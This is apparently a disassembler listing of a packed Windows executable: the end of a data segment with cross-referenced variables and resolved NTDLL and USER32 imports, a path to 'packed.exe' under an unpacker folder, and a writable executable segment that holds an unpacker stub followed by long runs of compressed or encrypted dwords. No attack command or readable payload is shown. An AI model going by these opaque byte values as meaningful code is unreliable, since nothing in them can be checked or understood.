dword_4D0E08 dd 80h dup(0) dword_4D1008 dd 2 dup(0) dword_4D1010 dd 0 dword_4D1014 dd 0 ; sub_40EA40+2D9o dword_4D1018 dd 2 dup(0) dword_4D1020 dd 0 ; sub_40F219+BCo ... dword_4D1024 dd 0 ; sub_40F219+DAr ... dword_4D1028 dd 0 ; sub_40F219+CFr ... dword_4D102C dd 0 ; sub_40F219+95o ... dword_4D1030 dd 0 ; sub_40F1CE+3Dr ... dword_4D1034 dd 0 ; sub_40F3EE+10w ... dword_4D1038 dd 0 ; sub_40F405+27Cw dword_4D103C dd 0 ; sub_40FCA7+51r ... dd 0 dword_4D1044 dd 0 dd 0 dword_4D104C dd 0 ; sub_413135+9o byte_4D1050 db 0 ; DATA XREF: sub_413C65+1C1w ; sub_413C65+2C0o align 2 word_4D1052 dw 0 ; DATA XREF: sub_413C65+1D1w word_4D1054 dw 0 ; DATA XREF: sub_413C65+1D7w word_4D1056 dw 0 ; DATA XREF: sub_413C65+1DEw byte_4D1058 db 0 ; DATA XREF: sub_413C65+1E5w byte_4D1059 db 0 ; DATA XREF: sub_413C65+1ECw word_4D105A dw 0 ; DATA XREF: sub_413C65+1F2w dword_4D105C dd 0 ; sub_413C65+23Ew dword_4D1060 dd 0 byte_4D1064 db 0 ; DATA XREF: sub_413C65+258w byte_4D1065 db 0 ; DATA XREF: sub_413C65+26Bw word_4D1066 dw 0 ; DATA XREF: sub_413C65+283w word_4D1068 dw 0 ; DATA XREF: sub_413C65+292w word_4D106A dw 0 ; DATA XREF: sub_413C65+28Aw dword_4D106C dd 101h dup(0) dword_4D1470 dd 80h dup(0) ; sub_401AA1:loc_404A6Eo ... byte_4D1670 db 0 ; DATA XREF: sub_4154EE+19Fw ; sub_4154EE+278o align 2 word_4D1672 dw 0 ; DATA XREF: sub_4154EE+1ACw word_4D1674 dw 0 ; DATA XREF: sub_4154EE+1B6w word_4D1676 dw 0 ; DATA XREF: sub_4154EE+1BFw byte_4D1678 db 0 ; DATA XREF: sub_4154EE+1C6w byte_4D1679 db 0 ; DATA XREF: sub_4154EE+1CDw word_4D167A dw 0 ; DATA XREF: sub_4154EE+1D4w dword_4D167C dd 0 dword_4D1680 dd 0 word_4D1684 dw 0 ; DATA XREF: sub_4154EE+242w word_4D1686 dw 0 ; DATA XREF: sub_4154EE+22Aw word_4D1688 dw 0 ; DATA XREF: sub_4154EE+254w word_4D168A dw 0 ; DATA XREF: sub_4154EE+1F5w dword_4D168C dd 100h dup(0) dword_4D1A8C dd 0 ; sub_401AA1+2F16r ... dd 0 byte_4D1A94 db 0 ; DATA XREF: sub_4159E0+22Ao ; sub_4159E0+239w ... byte_4D1A95 db 0 ; DATA XREF: sub_4159E0+24Dw word_4D1A96 dw 0 ; DATA XREF: sub_4159E0+27Ew word_4D1A98 dw 0 ; DATA XREF: sub_4159E0+265w ; sub_4159E0:loc_415D99w word_4D1A9A dw 0 ; DATA XREF: sub_4159E0+284w byte_4D1A9C db 0 ; DATA XREF: sub_4159E0+271w byte_4D1A9D db 0 ; DATA XREF: sub_4159E0+246w word_4D1A9E dw 0 ; DATA XREF: sub_4159E0+3D9w ; sub_4159E0+403w dword_4D1AA0 dd 0 ; sub_4159E0+383r dword_4D1AA4 dd 0 word_4D1AA8 dw 0 ; DATA XREF: sub_4159E0+37Dw ; sub_4159E0+3CFo word_4D1AAA dw 0 ; DATA XREF: sub_4159E0+31Ew ; sub_4159E0+343r ... dword_4D1AAC dd 0 ; sub_4159E0+3C0w dword_4D1AB0 dd 0 ; sub_4159E0+394w ... byte_4D1AB4 db 0 ; DATA XREF: sub_4159E0+2FAr ; sub_4159E0+308w byte_4D1AB5 db 0 ; DATA XREF: sub_4159E0+2C4w ; sub_4159E0+38Dw ... word_4D1AB6 dw 0 ; DATA XREF: sub_4159E0+2D2w word_4D1AB8 dw 0 ; DATA XREF: sub_4159E0+3E0w ; sub_4159E0+411w word_4D1ABA dw 0 ; DATA XREF: sub_4159E0+317w word_4D1ABC dw 0 ; DATA XREF: sub_4159E0+349w ; sub_4159E0+419o word_4D1ABE dw 0 ; DATA XREF: sub_4159E0+358w ; sub_4159E0+3F0w dword_4D1AC0 dd 0 dd 2 dup(0) dword_4D1ACC dd 0 ; sub_4159E0+3FEo dword_4D1AD0 dd 0 byte_4D1AD4 db 0 ; DATA XREF: sub_4159E0+32Aw byte_4D1AD5 db 0 ; DATA XREF: sub_4159E0+330w word_4D1AD6 dw 0 ; DATA XREF: sub_4159E0+33Dw dword_4D1AD8 dd 6 dup(0) dword_4D1AF0 dd 0 ; sub_4159E0+422r align 8 dword_4D1AF8 dd 100h dup(0) ; sub_4159E0+465o dword_4D1EF8 dd 896h dup(0) ; sub_415FE5o ... db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: .XPack0:off_43A7F8o dd 769h dup(0) dword_4D5EF8 dd 0Eh dup(0) ; sub_415FE5+Eo ... dword_4D5F30 dd 80h dup(0) dword_4D6130 dd 200h dup(0) ; sub_417805+DDo ... dword_4D6930 dd 200h dup(0) ; sub_417805+F4o ... dword_4D7130 dd 0 ; resolved to->NTDLL.RtlCreateQueryDebugBuffer ; sub_41767C+94r dword_4D7134 dd 0 ; resolved to->NTDLL.RtlRunDecodeUnicodeString ; sub_417AD6+55r ... dword_4D7138 dd 0 ; resolved to->NTDLL.RtlDestroyQueryDebugBuffer ; sub_41767C+D6r ... dword_4D713C dd 0 ; resolved to->NTDLL.ZwQuerySystemInformation ; sub_41767C+35r ... dword_4D7140 dd 80h dup(0) dword_4D7340 dd 0 ; resolved to->NTDLL.RtlQueryProcessDebugInformation ; sub_41767C+A2r dword_4D7344 dd 0 ; sub_4174AA+103r ... dword_4D7348 dd 0 ; sub_4179A9+107w dword_4D734C dd 0 ; sub_4179A9+10Dw ... dword_4D7350 dd 0 ; sub_417AD6+4Fr align 8 dword_4D7358 dd 0 ; sub_417DC2:loc_417F41w ... dword_4D735C dd 0 ; sub_417C86+12o ... dd 0 dword_4D7364 dd 0 ; sub_417F61+3Ar dd 7Fh dup(0) dword_4D7564 dd 0 ; sub_417F61+4Aw dd 1944h dup(0) dword_4DDA78 dd 0 ; sub_4187D7+6Ao dword_4DDA7C dd 7Fh dup(0) ; sub_417C86+3Co dword_4DDC78 dd 18h dup(0) ; sub_418E7F+131o ... dword_4DDCD8 dd 80h dup(0) ; sub_419C11+A5o dword_4DDED8 dd 0 ; sub_4191FC+4Dr ... align 10h dword_4DDEE0 dd 18h dup(0) ; sub_419ADD+12Do dword_4DDF40 dd 80h dup(0) ; sub_41913D+7Do ... byte_4DE140 db 0 ; DATA XREF: sub_4191FC+29r ; sub_4191FC+34w align 8 dword_4DE148 dd 80h dup(0) ; sub_419453+88o ... dword_4DE348 dd 80h dup(0) ; sub_418D56+50o ... dword_4DE548 dd 0 ; sub_41A181+54r ... dword_4DE54C dd 0 ; sub_41A181+37r ... dword_4DE550 dd 0 ; sub_41A2D6+83o dword_4DE554 dd 0 ; sub_41A2D6+11Bw dword_4DE558 dd 0Dh dup(0) ; sub_41A2D6:loc_41A413o dword_4DE58C dd 0 ; sub_41A181+ECr ... dword_4DE590 dd 0Dh dup(0) dword_4DE5C4 dd 0 ; sub_41D88C:loc_41D908w ... dword_4DE5C8 dd 0 ; sub_41E112:loc_41E1ACw ... dword_4DE5CC dd 0 dword_4DE5D0 dd 0A28h dword_4DE5D4 dd 501h dword_4DE5D8 dd 5 dword_4DE5DC dd 1 dword_4DE5E0 dd 1 ; sub_42364E+91w dword_4DE5E4 dd 351400h ; sub_40121E+30Cr ... dd 0 dword_4DE5EC dd 351428h ; sub_426197+9r ... dword_4DE5F0 dd 0 dword_4DE5F4 dd 0 ; sub_426565+4r ... dd 0 off_4DE5FC dd offset aCM_unpackerPac ; DATA XREF: sub_42364E+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4DE604 db 0 ; DATA XREF: sub_41BE43+2Dw ; sub_4240A3+5r align 4 dword_4DE608 dd 0 dword_4DE60C dd 0 ; sub_41BE43+8Bw dword_4DE610 dd 0 ; sub_41C764+91w align 8 dword_4DE618 dd 0 align 10h dword_4DE620 dd 0 ; sub_41D71B+A4w align 8 word_4DE628 dw 0 ; DATA XREF: sub_41D71B+55r ; sub_41D71B+9Ao word_4DE62A dw 0 ; DATA XREF: sub_41D71B+48r db 2 dup(0) word_4DE62E dw 0 ; DATA XREF: sub_41D71B+3Br word_4DE630 dw 0 ; DATA XREF: sub_41D71B+2Er word_4DE632 dw 0 ; DATA XREF: sub_41D71B+21r align 8 dword_4DE638 dd 0 ; sub_423595:loc_4235A7r ... align 10h dword_4DE640 dd 0 dword_4DE644 dd 0 ; sub_41F2C9+2Dw ... dword_4DE648 dd 0 dword_4DE64C dd 0 ; sub_41B872:loc_41BAAFr ... dword_4DE650 dd 1 ; sub_4206E2+4w ... dword_4DE654 dd 0 dd 0 dword_4DE65C dd 0 ; sub_42217D+1Ar ... byte_4DE660 db 0 ; DATA XREF: sub_422079+3r ; sub_422079+98r ... align 4 dword_4DE664 dd 0 ; sub_42225B+21w ... byte_4DE668 db 0 ; DATA XREF: sub_42225B+51w align 4 dword_4DE66C dd 0 ; sub_42282C+3Ar ... dword_4DE670 dd 0 ; sub_42282C+43r ... dword_4DE674 dd 0 ; sub_4225F8+5r dword_4DE678 dd 0 dword_4DE67C dd 2 dup(0) dword_4DE684 dd 0 ; sub_41DC4A+6Er ... dd 3 dup(0) dword_4DE694 dd 0 ; sub_41DED4+BFr ... dd 0 dword_4DE69C dd 1 ; sub_42316A+4Cw ... dword_4DE6A0 dd 0 ; sub_4233B9+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_42364E:loc_423665o ; .XPack0:off_4DE5FCo align 10h dd 3Ah dup(0) dword_4DE7A8 dd 1 ; sub_42389B+23w ... dword_4DE7AC dd 0 dword_4DE7B0 dd 0 ; sub_420AE6:loc_420B0Fw ... dword_4DE7B4 dd 0 dword_4DE7B8 dd 1 ; sub_4243B4:loc_42441Ew align 10h word_4DE7C0 dw 0 ; DATA XREF: sub_424CB9+1Ao ; sub_424CB9+46r byte_4DE7C2 db 0 ; DATA XREF: sub_424CB9+39r align 4 dword_4DE7C4 dd 7 dup(0) dword_4DE7E0 dd 0 ; sub_424CB9+5Co dword_4DE7E4 dd 0 dword_4DE7E8 dd 0 dword_4DE7EC dd 0 dword_4DE7F0 dd 77C2807Ch ; sub_424DDC+38r ... align 8 dword_4DE7F8 dd 0 ; sub_424EBC+63w ... align 10h dword_4DE800 dd 0 ; sub_424EBC+46r dword_4DE804 dd 10h dup(0) word_4DE844 dw 0 ; DATA XREF: sub_42511A+A8r word_4DE846 dw 0 ; DATA XREF: sub_424EBC+54r ; sub_42511A+DBr ... word_4DE848 dw 0 ; DATA XREF: sub_42511A+CAr word_4DE84A dw 0 ; DATA XREF: sub_42511A+D3r ; sub_42511A:loc_42520Cr word_4DE84C dw 0 ; DATA XREF: sub_42511A+C0r word_4DE84E dw 0 ; DATA XREF: sub_42511A+B8r word_4DE850 dw 0 ; DATA XREF: sub_42511A+B0r word_4DE852 dw 0 ; DATA XREF: sub_42511A+9Er dword_4DE854 dd 0 dword_4DE858 dd 10h dup(0) word_4DE898 dw 0 ; DATA XREF: sub_42511A+46r word_4DE89A dw 0 ; DATA XREF: sub_424EBC:loc_424F33r ; sub_42511A+78r ... word_4DE89C dw 0 ; DATA XREF: sub_42511A+67r word_4DE89E dw 0 ; DATA XREF: sub_42511A+70r ; sub_42511A:loc_42519Er word_4DE8A0 dw 0 ; DATA XREF: sub_42511A+5Dr word_4DE8A2 dw 0 ; DATA XREF: sub_42511A+55r word_4DE8A4 dw 0 ; DATA XREF: sub_42511A+4Dr word_4DE8A6 dw 0 ; DATA XREF: sub_42511A+3Er dword_4DE8A8 dd 0 dword_4DE8AC dd 0 ; sub_424EBC:loc_425008r ... dword_4DE8B0 dd 0 dword_4DE8B4 dd 0 ; resolved to->USER32.MessageBoxA ; sub_425448+2Ew ... dword_4DE8B8 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_425448:loc_425497r dword_4DE8BC dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_425448+60r dword_4DE8C0 dd 0 dword_4DE8C4 dd 0 ; sub_426025+6Do dword_4DE8C8 dd 0 ; sub_426025+44o dword_4DE8CC dd 0 ; sub_426025+37o dword_4DE8D0 dd 0 ; sub_426025+51o align 8 dword_4DE8D8 dd 0 ; sub_4265D3+48w ... dword_4DE8DC dd 0 ; sub_4270BB+4Cw ... dword_4DE8E0 dd 0 ; sub_427346:loc_4273B0w byte_4DE8E4 db 0 ; DATA XREF: sub_40DA34r sub_40DA34+9w align 4 dword_4DE8E8 dd 3527A0h ; sub_41FB3D+14r ... dd 5 dup(0) dword_4DE900 dd 400h dup(0) ; .XPack0:0043FD10o dword_4DF900 dd 200h ; sub_41E290+56r ... dd 7 dup(0) dword_4DF920 dd 350650h ; sub_41F7BC+2Ar ... dword_4DF924 dd 3Fh dup(0) dword_4DFA20 dd 20h ; sub_41F7BC+Cr ... dword_4DFA24 dd 4E4h ; sub_420549+65w ... align 10h dword_4DFA30 dd 3 dup(0) ; sub_420549+171o ... dword_4DFA3C dd 0 ; sub_420549+15Dw ... byte_4DFA40 db 0 ; DATA XREF: sub_420788:loc_420894w ; sub_420788:loc_4208B1w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DFB40 db 0 ; DATA XREF: sub_420549+5Co ; sub_420549+AFo ... byte_4DFB41 db 0 ; DATA XREF: sub_41C041+5Dr ; sub_420549+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DFC44 dd 0 ; sub_420549+12Bw ... dword_4DFC48 dd 0 ; sub_41EB74+5r ... dword_4DFC4C dd 0 ; sub_41E542+25Ar ... dword_4DFC50 dd 0 ; sub_41E542+311w ... dword_4DFC54 dd 0 ; sub_41E542+22Dr ... dword_4DFC58 dd 0 ; sub_41E517r ... dword_4DFC5C dd 0 ; sub_41E517+8r ... dword_4DFC60 dd 0 ; sub_41BB83+Fr ... dword_4DFC64 dd 350000h ; sub_41B872+C0r ... dword_4DFC68 dd 1 ; sub_41B872:loc_41B8A2r ... dword_4DFC6C dd 142340h ; sub_42353D+Fr ... dword_4DFC70 dd 1 ; sub_426197r dword_4DFC74 dd 1 ; sub_42090D+11w ... dword_4DFC78 dd 352718h ; sub_41D643+13r ... dword_4DFC7C dd 352718h ; sub_41BE43+57r ... dd 0E0h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) _XPack0 ends ; Section 2. (virtual address 000E1000) ; Virtual size : 0001FDE8 ( 130536.) ; Section size in file : 0001FDE8 ( 130536.) ; Offset to raw data for section: 000E1000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _XPack segment para public 'CODE' use32 assume cs:_XPack ;org 4E1000h assume es:nothing, ss:nothing, ds:_XPack0, fs:nothing, gs:nothing dd 41DFD368h, 0E8609C00h, 62Dh, 0E1034h, 2 dup(0) dd 0E1044h, 0E1034h, 5 dup(0) dword_4E1034 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_4F9DFA+60r dd 7C801D77h, 7C801AD0h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 47000000h, 72507465h dd 6441636Fh, 73657264h, 73h, 64616F4Ch, 7262694Ch, 41797261h dd 56000000h, 75747269h, 72506C61h, 6365746Fh, 5D5B0074h dd 0F003B83h, 0A585h, 1B89FC00h, 330C4B8Bh, 8BD1FFC0h dd 2FE3104Bh, 8D147B8Dh, 28BCF14h, 4C2748Dh, 30736B8h dd 48006A00h, 0C48BFB75h, 37FF5650h, 0E8E8h, 4770300h dd 0E208C783h, 0D8C481EFh, 8B000C1Ch, 0C38B0C4Bh, 738BD1FFh dd 74F68508h, 0C4E8B39h, 0FF5134E3h, 0C0852C55h, 3894F74h dd 8B107E8Bh, 0F71EE30Fh, 0C1h, 3077580h, 4141044Bh, 0E18106EBh dd 7FFFFFFFh, 0FF33FF51h, 0EBAB2855h, 14C683DEh, 438BC7EBh dd 147B8D10h, 0ADC7348Dh, 5013E391h, 5051C48Bh, 92AD206Ah dd 0FF5250ADh, 0E2593055h, 9D6158EFh, 54EC83C3h, 768BFC8Bh dd 0ACD78B0Ch, 374C084h, 0E8F8EBAAh, 0Bh, 746F6E20h, 756F6620h dd 5E00646Eh, 0C084AAACh, 6AFA75h, 6A5257h, 6E8h, 72724500h dd 5E00726Fh, 0C084AAACh, 0BE8FA75h, 55000000h, 33524553h dd 4C442E32h, 55FF004Ch, 0CE82Ch, 654D0000h, 67617373h dd 786F4265h, 0FF500041h, 0D0FF2855h, 487CC483h, 2CC8C3h dd 5D8B6000h, 8D038B0Ch, 89048344h, 3353F845h, 0FC4589C0h dd 89F44589h, 4589F045h, 4589400Ch, 0E84589ECh, 89E44589h dd 7D8BD845h, 400B810h, 36B90000h, 0F3000307h, 5A056AABh dd 3BEE8h, 0F8754A00h, 8B58FF6Ah, 4D8BF075h, 10558BF4h dd 0C103E683h, 0CE0304E1h, 0E88A148Dh, 3B9h, 0D6830Fh dd 0D0E80000h, 0F000003h, 69FC4DB6h, 0C00C9h, 8BDB3300h dd 83431075h, 8D07F47Dh, 1CD8318Ch, 4D890000h, 8B547CE0h dd 4D2BF04Dh, 8758BECh, 310CB60Fh, 0D1DC4D89h, 758BDC65h dd 0E07D8BDCh, 100E681h, 0C8D0000h, 8F948D1Eh, 400h, 360E8h dd 0E80D7300h, 37Bh, 0F685DB03h, 0DEB3875h, 383E8h, 8DF68500h dd 74011B5Ch, 0FB8129h, 7C000001h, 8B27EBBEh, 148DE04Dh dd 32FE899h, 9730000h, 34AE8h, 0EBDB0300h, 356E809h, 5C8D0000h dd 0FB81011Bh, 100h, 758BD97Ch, 84D8BF0h, 83F045FFh, 8804F47Dh dd 1C88FC5Dh, 83097D0Eh, 0E900F465h, 0FFFFFF23h, 0AF47D83h dd 6D83097Dh, 14E903F4h, 83FFFFFFh, 0E906F46Dh, 0FFFFFF0Bh dd 30FE8h, 0F4558B00h, 8D104D8Bh, 3009194h, 0C6E80000h dd 73000002h, 2E1E836h, 7D830000h, 4D8B07F4h, 0D84D89E8h dd 89E44D8Bh, 4D8BE84Dh, 0E44D89ECh, 6583067Dh, 5EB00F4h dd 458F036Ah, 10558BF4h, 0CC8C281h, 0EEE90000h, 0E8000000h dd 2C0h, 8BF44D8Bh, 948D1055h, 3308Ah, 277E800h, 56730000h dd 292E8h, 0F44D8B00h, 0C10FC183h, 7D8B04E1h, 8DCE0310h dd 5AE88F14h, 73000002h, 275E832h, 758B0000h, 83C933F0h dd 8B07F47Dh, 9D0F0855h, 94C8DC1h, 0F44D8909h, 2BF04D8Bh dd 45FFEC4Dh, 110C8AF0h, 88FC4D88h, 54E9160Ch, 0E8FFFFFEh dd 258h, 51E863EBh, 8B000002h, 4D8B1055h, 8A948DF4h, 360h dd 208E8h, 0E80A7300h, 223h, 0EBE44D8Bh, 22EE837h, 4D8B0000h dd 10558BF4h, 908A948Dh, 0E8000003h, 1E5h, 0E80A73h, 8B000002h dd 0EEBE84Dh, 20BE8h, 0E8558B00h, 89D84D8Bh, 558BD855h dd 0E85589E4h, 89EC558Bh, 4D89E455h, 83C933ECh, 0F07F47Dh dd 8349C19Dh, 0C183FDE1h, 0F44D890Bh, 8110558Bh, 14D0C2h dd 19BE800h, 10730000h, 1B6E8h, 0C1006A00h, 5C8D05E6h dd 20EB0816h, 1BBE8h, 4C28300h, 17CE8h, 0E8157300h, 197h dd 8D05E6C1h, 204169Ch, 86A0000h, 0FEB036Ah, 197E8h, 49A8D00h dd 6A000004h, 59086A10h, 51D44D89h, 18BE8h, 0F6335900h dd 0D3DA8B46h, 0CE2B59E6h, 7D83D903h, 0F5304F4h, 0BD8Dh dd 0F4458300h, 4FB8307h, 0CB8B047Dh, 36A03EBh, 10758B59h dd 8D08E1C1h, 6C0319Ch, 66A0000h, 0E8D4458Fh, 14Ch, 8340EA83h dd 0FA8B04FAh, 5B8C0Fh, 0CA8B0000h, 0E783F9D1h, 0CF834901h dd 0EFA8302h, 7DD44D89h, 8BE7D312h, 8BCA2BCFh, 9C8D1055h dd 0ABC8Ah, 832CEB00h, 0E85104E9h, 0B0h, 0FF03E8D1h, 720C4539h dd 0C452906h, 5901CF83h, 5D8BE8E2h, 88C38110h, 0C100000Ch dd 46A04E7h, 6AD4458Fh, 0DC458F01h, 0E3E8h, 7D894700h dd 2C745BECh, 43F04D8Bh, 343CF2Bh, 118A084Dh, 8BF0758Bh dd 0FF4B087Dh, 8541F045h, 0FC5588DBh, 753E1488h, 0FCA5E9E9h dd 8B5BFFFFh, 0D4EBEC7Dh, 0E30F8B5Fh, 8B046A46h, 4D8B0875h dd 0C7835AF0h, 73D13B04h, 3C42AC36h, 3C1674E8h, 3C1274E9h dd 3BEE750Fh, 0AC2473D1h, 72803C42h, 778F3CEAh, 74173BE6h dd 3C068BD9h, 32D6750Dh, 2BC80FC0h, 830689C2h, 0C28304C6h dd 61C6EB04h, 0CC2C9h, 3Dh, 56197301h, 8BF8758Bh, 0B60F0C4Dh dd 8E1C136h, 0E0C1CE0Bh, 0F845FF08h, 5E0C4D89h, 0FFDAE8C3h dd 0A8BFFFFh, 0EFC1F88Bh, 0F9AF0F0Bh, 0C30C7D39h, 0BFC78Bh dd 2B000008h, 5EFC1F9h, 0E8C3F903h, 0FFFFFFECh, 29C33A89h dd 0C72B0C7Dh, 0EFC1F98Bh, 0C3CF2B05h, 0FFFFEEE8h, 0C30A89FFh dd 5742D233h, 0FFFF97E8h, 930C8BFFh, 0FFFFB7E8h, 0E80D73FFh dd 0FFFFFFBCh, 3933C89h, 10EB5FD2h, 0FFFFC6E8h, 930C89FFh dd 112548Dh, 0DC7D0B5Fh, 0FFDC65D1h, 0CB75D44Dh, 0FA44E8C3h dd 0FFFFh, 7C80h, 915C0040h, 11340042h, 1004Eh, 10000000h dd 87820040h, 10001h, 10000000h, 65B80040h, 80002h, 0B06F0000h dd 0B08C0000h, 0B2620000h, 0F7420001h, 0FBFC0001h, 0FC990001h dd 4BD70001h, 4C210002h, 2A000002h, 1285D9A2h, 0C952EAEh dd 0B2909EC5h, 203ADCE3h, 0FA69F4CFh, 0A18542C3h, 7E07FC32h dd 39DA5A06h, 0DC2BFB11h, 7557BE55h, 0C7635E5Eh, 0B9B34F4h dd 80A6AB17h, 6EAD265Eh, 93BD2357h, 0D76C9D16h, 8A062CC6h dd 0FCAD56A6h, 2CA6A38Dh, 860670BEh, 941FC562h, 0CAFB3EBAh dd 0A3ABF677h, 0EB0DB181h, 38847A3Ch, 8AE212A3h, 1FA99C00h dd 3147888Eh, 64BB8B82h, 46E4C9FFh, 3D184624h, 9DEC1C5Ah dd 98256233h, 0FD444ADFh, 0FD6FA792h, 2678966Bh, 0FCE405Ah dd 5E16CEE2h, 5A2B8A56h, 1EE8D9D9h, 9A36CD0Ah, 0C20BBC3Ah dd 27CCF1B3h, 755B9AC2h, 2017B564h, 3A67F0AFh, 0AF6DB8CFh dd 61F70BB1h, 19C42B9Ch, 6378F983h, 7E0D4144h, 19CAF716h dd 7977FA01h, 0AEC0ACEFh, 0AF922E7Dh, 394FE3F8h, 59F479FEh dd 8A357DBAh, 4EA43A56h, 24C3AB66h, 0AB9FFC7Dh, 1ACCF047h dd 0F6C1A37Fh, 2A43D9D9h, 4A433B8h, 0B563A233h, 1C59106Fh dd 930733ECh, 2D409EC7h, 212E3015h, 0A1DB5CDEh, 6C1EF6F2h dd 415F650Fh, 0F1803827h, 0EA159098h, 9D050A90h, 2441AABBh dd 0EAFC9F99h, 0E3502282h, 1159220Ch, 0F288E28Dh, 4A6F51DFh dd 9A0B5C7h, 0A47B5907h, 55FE097Bh, 0C85728CFh, 0EC909102h dd 0A437C4A0h, 71D57740h, 0AB27567h, 0F37A0A80h, 3EE21DB8h dd 9D87FCCFh, 19C2269Dh, 0AD11532Eh, 24991485h, 0F5895E4Ah dd 373E6063h, 92AF4619h, 2345ADEDh, 7E0A9588h, 79675BEFh dd 0C2C20F0Ah, 0EB116F13h, 0DE923A9Ah, 0BA63BBA3h, 0B36E30BAh dd 9BE85791h, 419AB3A0h, 0FC511BF6h dd 4CA08C64h, 0A3A456A4h, 19AEC637h, 0E024F266h, 6529C19Ah dd 41D689Ah, 0FCE5A7F3h, 0C92AED15h, 6933994h, 0EE6E36FCh dd 6C1B79h, 1538F4F9h, 7B711BC1h, 9121FF18h, 0A3144C28h dd 352E3166h, 8DE102Ch, 65018BD6h, 775E120Ch, 45615E05h dd 52061C0Ah, 47A9DECh, 0D1B6DAA9h, 0B5A81941h, 939E90B9h dd 6777A66Bh, 806E6B4Eh, 16C35B95h, 3A782D75h, 2370CA82h dd 8A497F95h, 6864BD11h, 8D8D6935h, 0FF1F86B6h, 0D592205Fh dd 469FFAD0h, 1377DA89h, 60328516h, 6950E1DCh, 0C9CE2292h dd 20F099F7h, 816A3EC7h, 2275451Dh, 8B52E2AAh, 0DDB3008Dh dd 688A667Fh, 8D65BAD0h, 1216BA24h, 6D839DC0h, 0ADDEA18Ch dd 4BD4F58Bh, 608C7135h, 2BCCA632h, 6259C70Bh, 0CD07B696h dd 9503DCB5h, 0AE6C1583h, 65B4C55Ah, 2FAF9B97h, 0FCD6B785h dd 0A14BDB75h, 2F170320h, 0D2433AAEh, 0F5E68F39h, 0E335CC63h dd 2C558BFh, 0F37D1ABEh, 71C95070h, 49159502h, 0A5101468h dd 0F1CA8C4Ah, 0DE4C8718h, 0F7C64A33h, 39EE0636h, 0AFB2A7E9h dd 0AE495B88h, 3DDB4A7h, 8EBB7539h, 212A698Bh, 0B2EBFAD0h dd 0F8CC6DD6h, 8E6FDB55h, 0ACD9F9FEh, 0E072C076h, 14AA7646h dd 0D3880614h, 0BDD803F6h, 0F9710EFDh, 23E1E3Dh, 815284Ch dd 69342932h, 10CA870Ah, 4A811624h, 3DA324C5h, 20AA8CC5h dd 535BE5EDh, 43AD3B64h, 7BC40A26h, 0E5C87D5Bh, 9E7236EAh dd 1393F710h, 33567F2Ah, 0A3BE9854h, 7CFFF833h, 0D5B8A414h dd 9881DFDEh, 9E203D80h, 65A95E01h, 0BD5C9615h, 1622A34h dd 56C1184Ch, 1B30F532h, 3468B754h, 4A2266BAh, 0C93B5D1Eh dd 36D19D19h, 6A949F9Ah, 4AFB05h, 0CF7283CFh, 0B614C8B2h dd 42FD4A73h, 15D0398h, 0ED90671h, 7CE22DF7h, 0EE0BBEF9h dd 0FE1274Eh, 0CAE9F573h, 0CB0069D2h, 0F57D4812h, 0C0C98474h dd 5AFFB815h, 865E63ADh, 106D4400h, 376EBD81h, 293291B8h dd 64EDEDFBh, 0C2EF8389h, 0EB4F6D7Bh, 2CBC90C8h, 853D5991h dd 31057BEBh, 0FF88DB0Fh, 6DE75DC2h, 0B6626DC5h, 0CE56F97h dd 0AC997E50h, 7C69C1CDh, 0A2BF7F67h, 0E0DCB771h, 2135D4E5h dd 0E42C328Ah, 0C271254h, 0E0713EA9h, 0A153BE79h, 0EC08C8E7h dd 62A9C009h, 0AD1E470Fh, 0DE74F31Dh, 0C3353936h, 655279E5h dd 0ECD61E7Fh, 0CB662801h, 358FFB15h, 76FBACE4h, 1CDA9A99h dd 466B7CCDh, 53D83A06h, 6BE6232Fh, 0DD67A0E3h, 0BA5B61F7h dd 88BABDDh, 92AE0DF7h, 87E9A1C1h, 0DBAC9A60h, 0DEB68005h dd 0C41A17F7h, 9A34504Bh, 3B6AD916h, 0D687B836h, 7BC4C85Ch dd 68A04D31h, 1F5134Dh, 413074A1h, 0D0E3E6E0h, 4A02573h dd 0A1A4EC13h, 67710B78h, 0CDD3B738h, 6DF96E71h, 78CF82D2h dd 80EAE338h, 5983A333h, 0EB4378DEh, 1AD91C8h, 0FC193421h dd 25DD7Fh, 185272C6h, 69283042h, 10A26C41h, 381BFFF9h dd 0DA2B6713h, 0F982F744h, 0C24D1838h, 0CE5F10FAh, 0B2255849h dd 93BE41D6h, 9FDF8044h, 7BE84245h, 8C49B4D4h, 1F3FCD85h dd 7BF25E52h, 86714D69h, 9186DD98h, 74087B51h, 1BCE3DAFh dd 65824B2Dh, 8A98281h, 5F8E95D8h, 72D6EE71h, 83231052h dd 2B9AFBF5h, 6108B7F0h, 73E88A8Fh, 3F5C7631h, 6CE9A642h dd 0CEABBEA2h, 4FCF3A53h, 0C8B2353Bh, 0FD8CF3D5h, 